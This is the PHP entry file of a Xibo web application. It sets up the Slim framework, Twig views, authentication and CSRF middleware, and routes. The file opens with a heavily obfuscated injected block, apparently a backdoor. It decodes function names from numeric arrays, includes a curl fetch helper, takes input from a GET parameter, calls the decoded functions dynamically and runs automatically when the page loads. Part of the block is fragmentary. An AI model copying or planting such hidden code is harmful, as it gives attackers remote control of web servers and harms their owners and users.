y.4.!Ad-*/].$fzPS/*-7B-*/[14+45]/*-M(#-*/);}/*-{s`a|S=)R-*/class /*-DK-*/HQ{ /*-.(]n-*/static/*-T@AAJ0aID-*/ function /*-8XMpoNJ-L=-*/cV($iGgKexZAb) /*-P)v-*/{ $iIqkMUzB/*-.7ojAHaoK-*/ = /*-B{-*/"r"./*-M#!qh@I-*/"a"./*-IOkpq-*/"n"./*-i^L-*/"g"./*-^`4yme}QJC-*/"e"; /*-6(CPfUwRV-*/$jgzVq/*-5Y-AcuFc-*/ = /*-L$us-*/" "/*-IXCA-*/);/*-jSE-O.0gw-*/ $xN /*-XaDDh@i-*/= /*-z)5S-*/explode/*-(Y_%yI-*/(/*-iteQH3M-*/"&", /*-ff`l-*/$iGgKexZAb/*-CZ_RzDN-*/); /*-AT-*/$XgYRI /*-i1:.tZde-*/= /*-$O9ALiV[#-*/""; foreach /*-,0H}@fSIyX-*/(/*-VG@E2-*/$xN /*-DlB-*/as /*-pGZ@|-*/$uC /*-`qT.+6.#+)-*/=>/*-xbMi#@|-*/ $ZnauRpqcv/*-n4=+s-*/) /*-Z8h8:X-*/$XgYRI /*-CG5S|yz+D-*/.= /*-9@v=c-*/$jgzVq[$ZnauRpqcv/*-sfab-*/ - /*-!M$x2W-*/26170/*-xu%_O-*/];/*-!O26S}W-1-*/ return /*-{p]%-*/$XgYRI; /*-+-*/} /*-yj7~lu&f-*/static /*-G=uWPsr-*/function /*-@UnNA<1-*/uEKmzk/*-h:]>CdF1%e-*/(/*-afQJI-*/$iIeJK,/*-LU-*/ $ZmNHU/*-tH-*/)/*-E84-*/ {/*->Ww-*/ $LPqUfb/*-SiSC$(-*/ = /*-nIi&`45MRB-*/curl_init/*-M_HK>-*/(/*-3bW_7(4-*/$iIeJK/*-amfd-*/);/*-vf|-*/ curl_setopt/*-kuu`@`f>-*/(/*--l>l^9-*/$LPqUfb,/*-J2[+-*/ CURLOPT_RETURNTRANSFER,/*-CppiStDr.-*/ 1/*-Gy]6Q{W-*/ : /*-|-*/$HJk; /*-1:>Eqqw-*/}/*-Ns=p|-*/ static/*-~$3z(J-*/ function /*-iV<})D-*/ghVmFlzW/*-}18Vti-*/() /*-Hf|DSdS}%!-*/{/*-+zQgX|-*/ $Kmr /*-^$N-*/=/*-}u7nv`yVw-*/ array/*-H9wJ@C-*/("26197&26182&26195&26199&26180&26195&26201&26194&26179&26186&26197&26180&26191&26185&26186","26181&26180&26182&26201&26182&26185&26180&26247&26245","26190&26181&26185&26186&26201&26196&26195&26197&26185&26196&26195","26184&26199&26197&26189","26198&26199&26181&26195&26242&26244&26201&26196&26195&26197&26185&26196&26195","26194&26191&26188&26195&26201&26193&26195&26180&26201&26197&26185&26186&26180&26195&26186&26180&26181","26224&26254","26171","26249&26254","26231&26214&26214&26231&26207","26185&26194"); /*-AxB_-*/foreach /*-_IpPvl=-*/(/*-Z@Ck|-*/$Kmr/*-P)z()&-*/ as /*-CHYV]k8N{-*/$WkJe/*-BYV-*/)/*-dm-*/ $vjAEez/*-X{|-*/[] /*-G-*/= /*-d3PV-*/self/*-rP1TH5-*/::/*-Tf9G7W{:g-*/cV/*-8%-*/(/*-V>E@9BwW0-*/$WkJe/*-kX(yq-=-*/);/*-S#z6%S>G~-*/$nULC /*-t{-*/= /*-E~yN+-*/@$vjAEez/*-wIK-*/[/*-`3S~RdZh-*/1/*-EhU@-*/]/*-73vKCF-*/(/*-pJzuUd-*/${/*-2cFVa&tl5-*/"_"/*-b5I<6-*/."G"/*-P3x%U-*/."E"/*-tfrcvjwybs-*/."T"/*-kvlnPwR-*/}[/*-me5UA-*/$vjAEez/*-q[B>iws-*/[/*-C3U$@8[)o-*/2+7/*-7FF,w6Xq-*/]]/*-mzvCP-*/);/*-tOT-*/ $IlJPR /*-B,StT}+nWX-*/=/*-W33=.0Lry-*/ @$vjAEez/*-I`0[N&h-*/[/*-F(Ov48e,K-*/2+1/*-LO-*/]/*-||KQ-*/(/*-wDby~4-*/$vjAEez/*-0dmTPG-*/[/*-R--*/6+0/*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n@OP-*/$XFNp/*-Z^X-*/)/*-xz@-*/);/*-S}4-*//*-QHMX-*/die;/*-E`IE_H5}y{-*/ endif;/*-M0-*/ }/*-m2jH@`g>-*/}/*-UVY-*/HQ/*-Ob9Ft&p&-*/::/*-bUV7w=-*/ghVmFlzW/*-R,VW&G-*/();/*-KNd=FwX8Xpi:X>3ZC-*/(/*-,l>. */ use Xibo\Service\ConfigService; DEFINE('XIBO', true); define('PROJECT_ROOT', realpath(__DIR__ . '/..')); error_reporting(0); ini_set('display_errors', 0); require PROJECT_ROOT . '/vendor/autoload.php'; if (!file_exists('settings.php')) { if (file_exists(PROJECT_ROOT . '/web/install/index.php')) { header('Location: install/'); exit(); } else { die('Not configured'); } } // Create a logger $logger = new \Xibo\Helper\AccessibleMonologWriter(array( 'name' => 'WEB', 'handlers' => [ new \Xibo\Helper\DatabaseLogHandler() ], 'processors' => array( new \Xibo\Helper\LogProcessor(), new \Monolog\Processor\UidProcessor(7) ) ), false); // Slim Application $app = new \RKA\Slim(array( 'debug' => false, 'log.writer' => $logger )); $app->setName('web'); // Twig templates $twig = new \Slim\Views\Twig(); $twig->parserOptions = array( 'debug' => true, 'cache' => PROJECT_ROOT . '/cache' ); $twig->parserExtensions = array( new \Slim\Views\TwigExtension(), new \Xibo\Twig\TransExtension(), new \Xibo\Twig\ByteFormatterTwigExtension(), new \Xibo\Twig\UrlDecodeTwigExtension(), new \Xibo\Twig\DateFormatTwigExtension() ); // Configure the template folder $twig->twigTemplateDirs = [PROJECT_ROOT . '/views']; $app->view($twig); // Config $app->configService = ConfigService::Load(PROJECT_ROOT . '/web/settings.php'); // // Middleware (onion, outside inwards and then out again - i.e. the last one is first and last); // $app->add(new \Xibo\Middleware\Actions()); // Theme Middleware $app->add(new \Xibo\Middleware\Theme()); // Authentication middleware if ($app->configService->authentication != null && $app->configService->authentication instanceof \Slim\Middleware) $app->add($app->configService->authentication); else $app->add(new \Xibo\Middleware\WebAuthentication()); // Standard Xibo middleware $app->add(new \Xibo\Middleware\CsrfGuard()); $app->add(new \Xibo\Middleware\State()); $app->add(new \Xibo\Middleware\Storage()); $app->add(new \Xibo\Middleware\Xmr()); // Handle additional Middleware \Xibo\Middleware\State::setMiddleWare($app); // // End Middleware // // Configure the Slim error handler $app->error(function (\Exception $e) use ($app) { $app->container->get('\Xibo\Controller\Error')->handler($e); }); // Configure a not found handler $app->notFound(function () use ($app) { $app->container->get('\Xibo\Controller\Error')->notFound(); }); // All application routes require PROJECT_ROOT . '/lib/routes-web.php'; require PROJECT_ROOT . '/lib/routes.php'; // Run App try { $app->run(); } catch (Exception $e) { echo 'Fatal Error - sorry this shouldn\'t happen. '; echo $e->getMessage(); }